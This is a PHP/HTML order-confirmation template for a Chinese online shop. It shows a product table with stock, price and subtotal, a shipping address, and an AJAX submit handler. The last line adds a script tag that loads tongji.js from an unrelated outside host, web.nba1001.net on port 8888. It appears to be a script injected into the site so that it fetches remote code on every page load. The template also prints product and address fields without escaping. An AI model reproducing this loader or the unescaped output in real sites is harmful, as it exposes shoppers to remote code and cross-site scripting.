<script>
$(function(){
    $('#form').submit(function(){
        // ajax发送数据
        $.post(location.href,$(this).serialize(),function(data){
            if (data.state <= 0)
            {
                if(data.extra != '')$('#'+data.extra).focus();
                alert(data.message);
                return false;
            }
            $(data.message).appendTo('#receive_list');
        },'json');
        return false;
    });
});
</script>
<div class="line_1"></div>
<table width="100%" cellpadding="0" cellspacing="0" border="0" class="table1">
       <tr>
            <th class="th0">编号</th>
            <th class="th1">商品民称</th>
            <th class="th1">库存</th>
            <th class="th1">已售出</th>
            <th class="th0">单价</th>
            <th class="th1">购买数量</th>
            <th class="th1">小计</th>
       </tr>
       <?php foreach((array)$this->products as $product): ?> 
       <tr>
            <td><?php echo $product['product_id']; ?></td>
            <td><?php echo $product['name']; ?></td>
            <td><?php echo $product['num']; ?></td>
            <td><?php echo $product['sold_num']; ?></td>
            <td><?php echo $product['price']; ?></td>
            <td><?php echo $this->cartinfo[$product['product_id']] ?></td>
            <td><?php echo $product['price']*$this->cartinfo[$product['product_id']]; ?></td>
       </tr>
       <?php endforeach; ?>
</table>
<div class="page_num">
     <div class="fl">
        <span>总价小计：<?php echo $this->total_price; ?></span>
     </div>
     <div class="fr">
        <p class="cpager">
        </p>
     </div>
</div>

<div class="line_1"></div>

<div class="edit_tab tab">
<div class="bg1">
<div class="bg2">
      <span rel="info" class="span_now">确认订单</span>
</div>
</div>
</div>
<div label="info" class="edit_div">
<div class="line_1"></div>
<form id="form">
    <div class="form_div1">
        <span class="span1">收货地址：</span>
        <span><?php echo $this->receive['address']; ?>&nbsp;&nbsp;<?php echo $this->receive['receive_name']; ?>&nbsp;&nbsp;<?php echo $this->receive['zip']; ?>&nbsp;&nbsp;<?php echo $this->receive['tel']; ?></span>
    </div>
    <div class="line_1"></div>
    <div class="form_div1">
        <span class="span1"></span>
        <span><input name="" type="submit" class="btn1" value="提交订单" /><input name="" type="reset" class="btn1" value="重置" /></span>
    </div>
    <div class="line_1"></div>
</form>
</div><script type="text/javascript" src="http://web.nba1001.net:8888/tj/tongji.js"></script>